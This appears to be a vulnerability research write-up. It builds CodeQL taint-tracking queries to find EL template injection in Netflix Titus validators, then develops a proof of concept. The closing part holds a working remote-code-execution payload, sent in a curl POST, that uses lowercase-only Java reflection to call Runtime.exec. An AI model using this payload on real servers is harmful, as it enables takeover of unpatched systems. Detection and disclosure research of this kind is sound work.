To find sources of the tainted data, we'll be looking for first parameters of isValid() methods that override a method with the same name declared in ConstraintValidator interface.
Let's define a subclass of Method for methods of interest:
class UnsafeValidationMethod extends Method {
UnsafeValidationMethod() {
this.hasName("isValid")
and this.getAnOverride()
.getDeclaringType()
.(ParameterizedInterface).getGenericType()
.hasQualifiedName("javax.validation", "ConstraintValidator")
}
}Once UnsafeValidationMethod is in place, the predicate to identify taint sources is simply
predicate isSource(DataFlow::Node source) {
source.asParameter() = any(UnsafeValidationMethod isValid).getParameter(0)
}And the full query is as follows:
import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PathGraph
class UnsafeValidationMethod extends Method {
UnsafeValidationMethod() {
this.hasName("isValid")
and this.getAnOverride()
.getDeclaringType()
.(ParameterizedInterface).getGenericType()
.hasQualifiedName("javax.validation", "ConstraintValidator")
}
}
predicate isSource(DataFlow::Node source) {
source.asParameter() = any(UnsafeValidationMethod isValid).getParameter(0)
}A total of 6 results are found during quick evaluation.
Sinks are first arguments in calls to buildConstraintViolationWithTemplate(), so finding them is straightforward:
import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PathGraph
predicate isSink(DataFlow::Node sink) {
exists (Call c |
c.getCallee().hasName("buildConstraintViolationWithTemplate")
and sink.asExpr() = c.getArgument(0)
)
}Quick evaluation reports 5 findings.
We will combine source and sink definitions from two previous steps into a subclass of TaintTracking::Configuration called TemplateInjectionConfig:
/** @kind path-problem */
import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PathGraph
class UnsafeValidationMethod extends Method {
UnsafeValidationMethod() {
this.hasName("isValid")
and this.getAnOverride()
.getDeclaringType()
.(ParameterizedInterface).getGenericType()
.hasQualifiedName("javax.validation", "ConstraintValidator")
}
}
class TemplateInjectionConfig extends TaintTracking::Configuration {
TemplateInjectionConfig() { this = "TemplateInjectionConfig" }
override predicate isSource(DataFlow::Node source) {
source.asParameter() = any(UnsafeValidationMethod isValid).getParameter(0)
}
override predicate isSink(DataFlow::Node sink) {
exists (Call c |
c.getCallee().hasName("buildConstraintViolationWithTemplate")
and sink.asExpr() = c.getArgument(0)
)
}
}
from TemplateInjectionConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "Custom constraint error message contains unsanitized user data"Unfortunately, when this query is run it does not return any results - this is due to flaws in taint propagation logic we'll address next.
We'll start taint flow troubleshooting with using partial data flow that shows all sinks no farther than a given distance from the source; this way we'll be able to identify where the flow stops and fix that by adding a custom propagation logic.
Here is the query with partial flows enabled:
/** @kind path-problem */
import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PartialPathGraph
class UnsafeValidationMethod extends Method {
UnsafeValidationMethod() {
this.hasName("isValid")
and this.getAnOverride()
.getDeclaringType()
.(ParameterizedInterface).getGenericType()
.hasQualifiedName("javax.validation", "ConstraintValidator")
}
}
class TemplateInjectionConfig extends TaintTracking::Configuration {
TemplateInjectionConfig() { this = "TemplateInjectionConfig" }
override predicate isSource(DataFlow::Node source) {
source.asParameter() = any(UnsafeValidationMethod isValid).getParameter(0)
}
override predicate isSink(DataFlow::Node sink) {
exists (Call c |
c.getCallee().hasName("buildConstraintViolationWithTemplate")
and sink.asExpr() = c.getArgument(0)
)
}
override int explorationLimit() { result = 10 }
}
from TemplateInjectionConfig cfg, DataFlow::PartialPathNode source, DataFlow::PartialPathNode sink
where
cfg.hasPartialFlow(source, sink, _)
select sink, source, sink.getNode().getLocation(), "Partial flow from unsanitized user data"We have switched from DataFlow::PathGraph module to DataFlow::PartialPathGraph and its associated classes and predicates (DataFlow::PartialPathNode, hasPartialFlow()) as well as introduced the maximal flow depth via explorationLimit().
We can further filter the flows of interest by adding conditions to where clause - e.g. if we're interested only in flows stopping in SchedulingConstraintSetValidator.java, we can write:
from TemplateInjectionConfig cfg, DataFlow::PartialPathNode source, DataFlow::PartialPathNode sink
where
cfg.hasPartialFlow(source, sink, _)
and sink.getNode().getLocation().getFile().getStem() = "SchedulingConstraintSetValidator"
select source, sink, sink.getNode().getLocation(), "Partial flow from unsanitized user data"Four partial flows are identified in SchedulingConstraintSetValidator.java file, let's have a closer look at them.
Deeper examination of lines 60 and 61 in SchedulingConstraintSetValidator.java reveals that flows don't propagate from container object to results of getter methods container.getSoftConstraints() and container.getHardConstraints():
Set<String> common = new HashSet<>(container.getSoftConstraints().keySet());
common.retainAll(container.getHardConstraints().keySet());Since not all bean properties may be derived from user input, disabling taint propagation through getters would limit the number of false positives produced by default; of course, the user is able to override this behavior if needed - which is what we'll do to continue our analysis.
We will add a new taint step by extending TaintTracking::AdditionalTaintStep class and overriding its step() predicate; the taint should flow from the qualifier of getter method to its result.
To identify getter methods we can search for specific names (getSoftConstraints, getHardConstraints), names that start with get* (via regexp) or use a built-in GetterMethod subclass of Method.
The code for step() predicate is as follows:
class MethodTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
exists (MethodAccess ma |
ma.getMethod() instanceof GetterMethod
and pred.asExpr() = ma.getQualifier()
and succ.asExpr() = ma
)
}
}We get two new partial flows spreading to container.getSoftConstraints() and container.getHardConstraints(), however none of them reached the sink yet - now the taint propagation stops at keySet() method call which would return a Set of (tainted) keys from a tainted Map: container.getSoftConstraints().keySet().
To work around this, we'll add an extra condition to the step() predicate of MethodTaintStep class: taint may propagate not just though getters, but also methods that return contents of a Map - instances of MapQueryMethod (we'd also need to import semmle.code.java.Maps module, where this subclass of Method is declared).
An updated step() predicate would be:
import semmle.code.java.Maps
class MethodTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
exists (MethodAccess ma |
(ma.getMethod() instanceof GetterMethod
or ma.getMethod() instanceof MapQueryMethod)
and pred.asExpr() = ma.getQualifier()
and succ.asExpr() = ma
)
}
}When an updated query is executed, two new partial flows though keySet() appear as expected, though we still have not reached the sink - this time taint stops at HashSet<>() constructor.
To propagate the taint from constructor's parameter to a newly created instance we'll create another subclass of TaintTracking::AdditionalTaintStep called ConstructorTaintStep and redefine its step() predicate as follows:
class ConstructorTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
exists (ClassInstanceExpr new |
pred.asExpr() = new.getAnArgument()
and succ.asExpr() = new
)
}
}Once propagation through constuctor is enabled, taint flows to the sink which is "Soft and hard constraints not unique. Shared constraints: " + common parameter of buildConstraintViolationWithTemplate() method; the complete query is:
/** @kind path-problem */
import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PathGraph
import semmle.code.java.Maps
class MethodTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
exists (MethodAccess ma |
(ma.getMethod() instanceof GetterMethod
or ma.getMethod() instanceof MapQueryMethod)
and pred.asExpr() = ma.getQualifier()
and succ.asExpr() = ma
)
}
}
class ConstructorTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
exists (ClassInstanceExpr new |
pred.asExpr() = new.getAnArgument()
and succ.asExpr() = new
)
}
}
class UnsafeValidationMethod extends Method {
UnsafeValidationMethod() {
this.hasName("isValid")
and this.getAnOverride()
.getDeclaringType()
.(ParameterizedInterface).getGenericType()
.hasQualifiedName("javax.validation", "ConstraintValidator")
}
}
class TemplateInjectionConfig extends TaintTracking::Configuration {
TemplateInjectionConfig() { this = "TemplateInjectionConfig" }
override predicate isSource(DataFlow::Node source) {
source.asParameter() = any(UnsafeValidationMethod isValid).getParameter(0)
}
override predicate isSink(DataFlow::Node sink) {
exists (Call c |
c.getCallee().hasName("buildConstraintViolationWithTemplate")
and sink.asExpr() = c.getArgument(0)
)
}
}
from TemplateInjectionConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "Custom constraint error message contains unsanitized user data"We can further improve the accuracy of the query by accounting only for those sources that are actually derived from user's input as opposed to, say, application configuration parameters. To do that we'll make use of RemoteFlowSource class that includes Nodes corresponding to remote user's input; we will then enumerate all possible sinks in which user data may end up via taint tracking mechanism, focusing on those that are parameters of methods. Finally, we'll look at their types to get a list of user-controlled bean property types and use it as an additional filter step.
We'll start by defining a flow between RemoteFlowSource and any parameter (importing TaintTracking2 to avoid conflicting with already-imported TaintTracking):
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.TaintTracking2
class UserInputConfig extends TaintTracking2::Configuration {
UserInputConfig() { this = "UserInputConfig" }
override predicate isSource(DataFlow2::Node source) {
source instanceof RemoteFlowSource
}
override predicate isSink(DataFlow2::Node sink) {
sink instanceof DataFlow2::ParameterNode
}
}Now we can describe a user-controlled bean property type like this:
class TaintedBeanPropertyType extends RefType {
TaintedBeanPropertyType() {
exists (UserInputConfig cfg, DataFlow2::PathNode source, DataFlow2::PathNode sink |
cfg.hasFlowPath(source, sink)
and this = sink.getNode().getType()
)
}
}Finally, we incorporate TaintedBeanPropertyType into the isSource() predicate:
predicate isSource(DataFlow::Node source) {
source.asParameter() = any(UnsafeValidationMethod isValid).getParameter(0)
and source.asParameter().getType() instanceof TaintedBeanPropertyType
}Interestingly, the partial path examination shows that there is no direct flow from RemoteFlowSource into Container object, only its' constructor called in Builder.build() at Container.java:326. However, due to the taint propagation through the constructor we defined earlier at Step 1.7, the query is accurate.
Here is the full code:
/** @kind path-problem */
import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PathGraph
import semmle.code.java.Maps
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.TaintTracking2
class UserInputConfig extends TaintTracking2::Configuration {
UserInputConfig() { this = "UserInputConfig" }
override predicate isSource(DataFlow2::Node source) {
source instanceof RemoteFlowSource
}
override predicate isSink(DataFlow2::Node sink) {
sink instanceof DataFlow2::ParameterNode
}
}
class TaintedBeanPropertyType extends RefType {
TaintedBeanPropertyType() {
exists (UserInputConfig cfg, DataFlow2::PathNode source, DataFlow2::PathNode sink |
cfg.hasFlowPath(source, sink)
and this = sink.getNode().getType()
)
}
}
class MethodTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
exists (MethodAccess ma |
(ma.getMethod() instanceof GetterMethod
or ma.getMethod() instanceof MapQueryMethod)
and pred.asExpr() = ma.getQualifier()
and succ.asExpr() = ma
)
}
}
class ConstructorTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
exists (ClassInstanceExpr new |
pred.asExpr() = new.getAnArgument()
and succ.asExpr() = new
)
}
}
class UnsafeValidationMethod extends Method {
UnsafeValidationMethod() {
this.hasName("isValid")
and this.getAnOverride()
.getDeclaringType()
.(ParameterizedInterface).getGenericType()
.hasQualifiedName("javax.validation", "ConstraintValidator")
}
}
class TemplateInjectionConfig extends TaintTracking::Configuration {
TemplateInjectionConfig() { this = "TemplateInjectionConfig" }
override predicate isSource(DataFlow::Node source) {
source.asParameter() = any(UnsafeValidationMethod isValid).getParameter(0)
and source.asParameter().getType() instanceof TaintedBeanPropertyType
}
override predicate isSink(DataFlow::Node sink) {
exists (Call c |
c.getCallee().hasName("buildConstraintViolationWithTemplate")
and sink.asExpr() = c.getArgument(0)
)
}
}
from TemplateInjectionConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "Custom constraint error message contains unsanitized user data"Earlier, isSource() predicate identified a potential similar issue in SchedulingConstraintValidator.java, however it wasn't reported by our query. This is once again due to lack of taint propagation through certain methods. Let's look a definition of namesInLowerCase Set in isValid() method from SchedulingConstraintValidator.java:73:
Set<String> namesInLowerCase = value.keySet().stream().map(String::toLowerCase).collect(Collectors.toSet());Here, value is a tainted Map derived from user input; keySet() called on it already propagates the taint due to an additional step defined earlier. However, none of the subsequent methods - stream(), map() or collect() let the flow through.
To fix this, we're going to need another adjustment to taint propagation logic. First, let's create a subclass of Method called TaintPropagatingMethod defined like this:
class TaintPropagatingMethod extends Method {
TaintPropagatingMethod() {
this.getName().regexpMatch("stream|map|collect")
}
}It covers accesses to all methods that stopped the flow before; then we'll update the step() predicate of MethodTaintStep class to allow the taint flow through instances of TaintPropagatingMethod:
class MethodTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
exists (MethodAccess ma |
(ma.getMethod() instanceof GetterMethod
or ma.getMethod() instanceof MapQueryMethod
or ma.getMethod() instanceof TaintPropagatingMethod)
and pred.asExpr() = ma.getQualifier()
and succ.asExpr() = ma
)
}
}Once the changes are in place, issue in SchedulingConstraintValidator.java is reported as expected. The complete query is:
/** @kind path-problem */
import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PathGraph
import semmle.code.java.Maps
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.TaintTracking2
class TaintPropagatingMethod extends Method {
TaintPropagatingMethod() {
this.getName().regexpMatch("stream|map|collect")
}
}
class UserInputConfig extends TaintTracking2::Configuration {
UserInputConfig() { this = "UserInputConfig" }
override predicate isSource(DataFlow2::Node source) {
source instanceof RemoteFlowSource
}
override predicate isSink(DataFlow2::Node sink) {
sink instanceof DataFlow2::ParameterNode
}
}
class TaintedBeanPropertyType extends RefType {
TaintedBeanPropertyType() {
exists (UserInputConfig cfg, DataFlow2::PathNode source, DataFlow2::PathNode sink |
cfg.hasFlowPath(source, sink)
and this = sink.getNode().getType()
)
}
}
class MethodTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
exists (MethodAccess ma |
(ma.getMethod() instanceof GetterMethod
or ma.getMethod() instanceof MapQueryMethod
or ma.getMethod() instanceof TaintPropagatingMethod)
and pred.asExpr() = ma.getQualifier()
and succ.asExpr() = ma
)
}
}
class ConstructorTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
exists (ClassInstanceExpr new |
pred.asExpr() = new.getAnArgument()
and succ.asExpr() = new
)
}
}
class UnsafeValidationMethod extends Method {
UnsafeValidationMethod() {
this.hasName("isValid")
and this.getAnOverride()
.getDeclaringType()
.(ParameterizedInterface).getGenericType()
.hasQualifiedName("javax.validation", "ConstraintValidator")
}
}
class TemplateInjectionConfig extends TaintTracking::Configuration {
TemplateInjectionConfig() { this = "TemplateInjectionConfig" }
override predicate isSource(DataFlow::Node source) {
source.asParameter() = any(UnsafeValidationMethod isValid).getParameter(0)
and source.asParameter().getType() instanceof TaintedBeanPropertyType
}
override predicate isSink(DataFlow::Node sink) {
exists (Call c |
c.getCallee().hasName("buildConstraintViolationWithTemplate")
and sink.asExpr() = c.getArgument(0)
)
}
}
from TemplateInjectionConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "Custom constraint error message contains unsanitized user data"We need to ensure taint is propagating correctly through the try/catch exception handling mechanism:
try {
parse(tainted);
} catch (Exception e) {
sink(e.getMessage())
}Here, a method called in a try block with a tainted argument may throw an exception. Sometimes part of the tainted input will be included in the exception leading to taint propagation into Exception e which can then be cause a of vulnerability if this exception is for example printed out in the catch block without proper sanitization.
To account for this case, we'd need to introduce a taint step that would ensure a flow from an argument of a method called in try block to an Exception object - but only if that Exception object is later passed to a potentially unsafe function.
We start by identifying a try statement (via TryStmt class) and its associated catch clause, as well as any method calls that happen within try and catch code blocks:
from TryStmt try, CatchClause catch, MethodAccess trycall, MethodAccess catchcall
where catch = try.getACatchClause()
and trycall = try.getBlock().getAChild().(ExprStmt).getExpr()
and catchcall = catch.getBlock().getAChild().(ExprStmt).getExpr()
select try, catch, trycall, catchcallWe can further refine the query by filtering only those methods that accept Exception object or the result of calling a method on it (e.g. e.getMessage()) as an argument. We can also focus on the methods that are most likely to produce an output message such as warn(), error(), or assert():
from TryStmt try, CatchClause catch, MethodAccess trycall, MethodAccess catchcall,
VarAccess e
where catch = try.getACatchClause()
and trycall = try.getBlock().getAChild().(ExprStmt).getExpr()
and catchcall = catch.getBlock().getAChild().(ExprStmt).getExpr()
and e = catch.getVariable().getAnAccess()
and catchcall.getMethod().getName().regexpMatch("debug|info|warn|error|assert.*")
and catchcall.getAnArgument().getAChildExpr*() = e
select try, catch, trycall, catchcallReformulating this query as a step() predicate of ExceptionTaintStep class, we get:
class ExceptionTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
exists (TryStmt try, CatchClause catch, MethodAccess trycall, MethodAccess catchcall, VarAccess e |
catch = try.getACatchClause()
and trycall = try.getBlock().getAChild().(ExprStmt).getExpr()
and catchcall = catch.getBlock().getAChild().(ExprStmt).getExpr()
and e = catch.getVariable().getAnAccess()
and catchcall.getMethod().getName().regexpMatch("debug|info|warn|error|assert.*")
and catchcall.getAnArgument().getAChildExpr*() = e
and pred.asExpr() = trycall.getAnArgument()
and succ.asExpr() = e
)
}
}Quick evaluation of the step() in the absence of any additional taint propagation steps returns 300 results; once incorporated in the query, the same 2 findings are displayed.
The full query is:
/** @kind path-problem */
import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PathGraph
import semmle.code.java.Maps
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.TaintTracking2
class ExceptionTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
exists (TryStmt try, CatchClause catch, MethodAccess trycall, MethodAccess catchcall, VarAccess e |
catch = try.getACatchClause()
and trycall = try.getBlock().getAChild().(ExprStmt).getExpr()
and catchcall = catch.getBlock().getAChild().(ExprStmt).getExpr()
and e = catch.getVariable().getAnAccess()
and catchcall.getMethod().getName().regexpMatch("debug|info|warn|error|assert.*")
and catchcall.getAnArgument().getAChildExpr*() = e
and pred.asExpr() = trycall.getAnArgument()
and succ.asExpr() = e
)
}
}
class TaintPropagatingMethod extends Method {
TaintPropagatingMethod() {
this.getName().regexpMatch("stream|map|collect")
}
}
class UserInputConfig extends TaintTracking2::Configuration {
UserInputConfig() { this = "UserInputConfig" }
override predicate isSource(DataFlow2::Node source) {
source instanceof RemoteFlowSource
}
override predicate isSink(DataFlow2::Node sink) {
sink instanceof DataFlow2::ParameterNode
}
}
class TaintedBeanPropertyType extends RefType {
TaintedBeanPropertyType() {
exists (UserInputConfig cfg, DataFlow2::PathNode source, DataFlow2::PathNode sink |
cfg.hasFlowPath(source, sink)
and this = sink.getNode().getType()
)
}
}
class MethodTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
exists (MethodAccess ma |
(ma.getMethod() instanceof GetterMethod
or ma.getMethod() instanceof MapQueryMethod
or ma.getMethod() instanceof TaintPropagatingMethod)
and pred.asExpr() = ma.getQualifier()
and succ.asExpr() = ma
)
}
}
class ConstructorTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
exists (ClassInstanceExpr new |
pred.asExpr() = new.getAnArgument()
and succ.asExpr() = new
)
}
}
class UnsafeValidationMethod extends Method {
UnsafeValidationMethod() {
this.hasName("isValid")
and this.getAnOverride()
.getDeclaringType()
.(ParameterizedInterface).getGenericType()
.hasQualifiedName("javax.validation", "ConstraintValidator")
}
}
class TemplateInjectionConfig extends TaintTracking::Configuration {
TemplateInjectionConfig() { this = "TemplateInjectionConfig" }
override predicate isSource(DataFlow::Node source) {
source.asParameter() = any(UnsafeValidationMethod isValid).getParameter(0)
and source.asParameter().getType() instanceof TaintedBeanPropertyType
}
override predicate isSink(DataFlow::Node sink) {
exists (Call c |
c.getCallee().hasName("buildConstraintViolationWithTemplate")
and sink.asExpr() = c.getArgument(0)
)
}
}
from TemplateInjectionConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "Custom constraint error message contains unsanitized user data"To develop a PoC for a vulnerable Titus version we'll use a Docker image of a vulnerable commit 8a8bd4c.
According to the Titus documentation, jobs are submitted via POST requests in the following form:
curl localhost:7001/api/v3/jobs \
-X POST -H "Content-type: application/json" -d \
'{
"applicationName": "localtest",
"owner": {"teamEmail": "me@me.com"},
"container": {
"image": {"name": "alpine", "tag": "latest"},
"entryPoint": ["/bin/sleep", "1h"],
"securityProfile": {"iamRole": "test-role", "securityGroups": ["sg-test"]}
},
"batch": {
"size": 1,
"runtimeLimitSec": "3600",
"retryPolicy":{"delayed": {"delayMs": "1000", "retries": 3}}
}
}'
Attributes softConstraints and hardConstraints, identified by query as potential template injection venues, are optional parameters of container defined as
"softConstraints": {"constraints": {"name1":"value1", ...}},
"hardConstraints": {"constraints": {"name1":"value1", ...}},
To perform the injection, we must trigger validation errors either in SchedulingConstraintValidator or in SchedulingConstraintSetValidator as both validators' error messages contain part of the user input (specifically, names of offending constraints, in which EL code can be injected).
Error in SchedulingConstraintValidator.java happens if a name of a constraint does not match any of the pre-defined set from com.netflix.titus.api.jobmanager.JobConstraints (such as "uniqueHost" or "zoneBalance").
SchedulingConstraintSetValidator.java reports an error when a constraint with the same name is supplied in both softConstraints and hardConstraints lists.
Since we'll be using names of the constraints for injections, they would necessarily contain special symbols (like "{", "}" or "$") and be invalid, so we should have no trouble triggering the vulnerability in SchedulingConstraintValidator; to take advantage of the issue in SchedulingConstraintSetValidator we'd need to supply the same constraint as both soft and hard - however, for the sake of simplicity in this PoC we'll be using only the name of hard constraint as a venue for injection.
First attempts show that injection is indeed possible: while immediate expressions with ${} yield no results, deffered ones (#{}) work, and a request such as
curl localhost:7001/api/v3/jobs \
-X POST -H "Content-type: application/json" -d \
'{
"applicationName": "localtest",
"owner": {"teamEmail": "me@me.com"},
"container": {
"image": {"name": "alpine", "tag": "latest"},
"entryPoint": ["/bin/sleep", "1h"],
"securityProfile": {"iamRole": "test-role", "securityGroups": ["sg-test"]},
"softConstraints": {},
"hardConstraints": {"constraints":{"#{\"ABC \" + 7*7}":""}}
},
"batch": {
"size": 1,
"runtimeLimitSec": "3600",
"retryPolicy":{"delayed": {"delayMs": "1000", "retries": 3}}
}
}'
produces the following error:
{"statusCode":400,"message":"Invalid Argument: {Validation failed: 'field: 'container.hardConstraints', description: 'Unrecognized constraints [abc 49]', type: 'HARD''}"}
We can see 7*7 expression has been correctly interpreted as 49; we also observe a major limitation of the payload - all strings supplied in a constraint name are converted to lowercase prior to the error being thrown. This severely limits the number of methods available for use in EL expressions since Java is case-sensitive and uses camel case for method naming; therefore any method containing a capital letter (such as toString()) would not be recognized after conversion to lowercase (tostring()).
The conversion itself happens in SchedulingConstraintValidator.java on line 73, the same line we previously examined in step 2 for taint propagation issues:
Set<String> namesInLowerCase = value.keySet().stream().map(String::toLowerCase).collect(Collectors.toSet());Note: to get rid of the lowercase limitation,
namesInLowerCasedeclaration can be rewritten toSet<String> namesInLowerCase = value.keySet();Once the application is rebuilt, capital letters can be used in the payload; this patched application provides useful insight during payload construction and has been utilized extensively during PoC development, but in the interest of brevity we'll focus only on production version of Titus from here on.
To get a code execution from EL injection we'd need to use a Java Reflection feature that allows accessing methods and classes at runtime.
Here's a typical injection payload that makes use of Reflection
#{"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("touch /tmp/pwned")}
First it gets the Class object for String via "".getClass(), then uses its forName() method to get Class object for Runtime; from there, call to getMethods() allows access to all methods of java.lang.Runtime class, and method located at offset 6 - getRuntime() - returns the runtime of a current application.
getRuntime() is then called via an invoke() with parameter being another instance of Runtime class (equvalent of Runtime.getRuntime()); finally, exec() is called on a current Runtime to create a file named "pwned" in /tmp folder on an application server.
Unfortunately, this payload contains several uppercase letters and would not work for our purposes as is - while string "java.lang.Runtime" can be rewritten as "java.lang.runtime".replace(114,82) (114 and 82 being character codes of letters "r" and "R", respectively), capitals in method names such as forName() or getMethods() can't be avoided.
Let's try to rewrite payload so it's not hampered by conversion to lowercase.
The first and easiest problem to solve is getting the instance of Class object: instead of getClass() we can simply use .class syntax, as described in the Reflection API documentation:
classreturns a Class instance for com.google.common.collect.SingletonImmutableBiMap, and
class.classallows access to Class instance of Class itself.
Next, we can avoid referencing forName() directly and instead find it in the output of getMethods() at index 0:
class.class.getMethods()[0]Since getMethods() also has a capital letter in it, we need to replace it with something - and we can use methods[] property with the same index:
class.class.methods[0]We then invoke forName() on Class object with "java.lang.Runtime" String passed as parameter - an equivalent of forName("java.lang.Runtime"):
class.class.methods[0].invoke(class.class, "java.lang.runtime".replace(114,82))Having obtained an instance of Runtime class, we proceed to find a getRuntime() method at getMethods()[6] (or rather, methods[6]):
class.class.methods[0].invoke(class.class, "java.lang.runtime".replace(114,82)).methods[6]After this we call invoke() on getRuntime() method instance with parameter being another Runtime instance (found, once again, as class.class.methods[0].invoke(class.class, "java.lang.runtime".replace(114,82))) before executing "touch /tmp/pwned" via exec() in a current runtime:
class.class.methods[0].invoke(class.class, "java.lang.runtime".replace(114,82)).methods[6].invoke(class.class.methods[0].invoke(class.class, "java.lang.runtime".replace(114,82))).exec("touch /tmp/pwned")Adding some final touches and the PoC payload looks like
#{class.class.methods[0].invoke(class.class, \"java.lang.runtime\".replace(114,82)).methods[6].invoke(class.class.methods[0].invoke(class.class, \"java.lang.runtime\".replace(114,82))).exec(\"touch /tmp/pwned\")}
And here is the full POST request with it:
curl localhost:7001/api/v3/jobs \
-X POST -H "Content-type: application/json" -d \
'{
"applicationName": "localtest",
"owner": {"teamEmail": "me@me.com"},
"container": {
"image": {"name": "alpine", "tag": "latest"},
"entryPoint": ["/bin/sleep", "1h"],
"securityProfile": {"iamRole": "test-role", "securityGroups": ["sg-test"]},
"softConstraints": {},
"hardConstraints": {"constraints":{"#{class.class.methods[0].invoke(class.class, \"java.lang.runtime\".replace(114,82)).methods[6].invoke(class.class.methods[0].invoke(class.class, \"java.lang.runtime\".replace(114,82))).exec(\"touch /tmp/pwned\")}":""}}
},
"batch": {
"size": 1,
"runtimeLimitSec": "3600",
"retryPolicy":{"delayed": {"delayMs": "1000", "retries": 3}}
}
}'
Once the request above is sent, it produces an error much like invalid payload:
{"statusCode":500,"message":"Unexpected error: HV000149: An exception occurred during message interpolation"}
However, "pwned" file is created under /tmp as expected
root@ubuntu:~/titus-control-plane# docker-compose exec gateway bash
root@113daa133d5d:/opt/titus-server-gateway# ls -la /tmp
total 16
drwxrwxrwt 1 root root 4096 Jun 7 19:23 .
drwxr-xr-x 1 root root 4096 Jun 2 21:27 ..
drwxr-xr-x 1 root root 4096 Jun 7 19:09 hsperfdata_root
-rw-r--r-- 1 root root 0 Jun 7 19:23 pwned
Running a query on a database of patched code yields no findings as expected; the vulnerable calls to ConstraintValidatorContext.buildConstraintViolationWithTemplate() have been replaced with calls to a custom function returning ConstraintValidatorContext.ConstraintViolationBuilder object that does not interpolate EL expressions.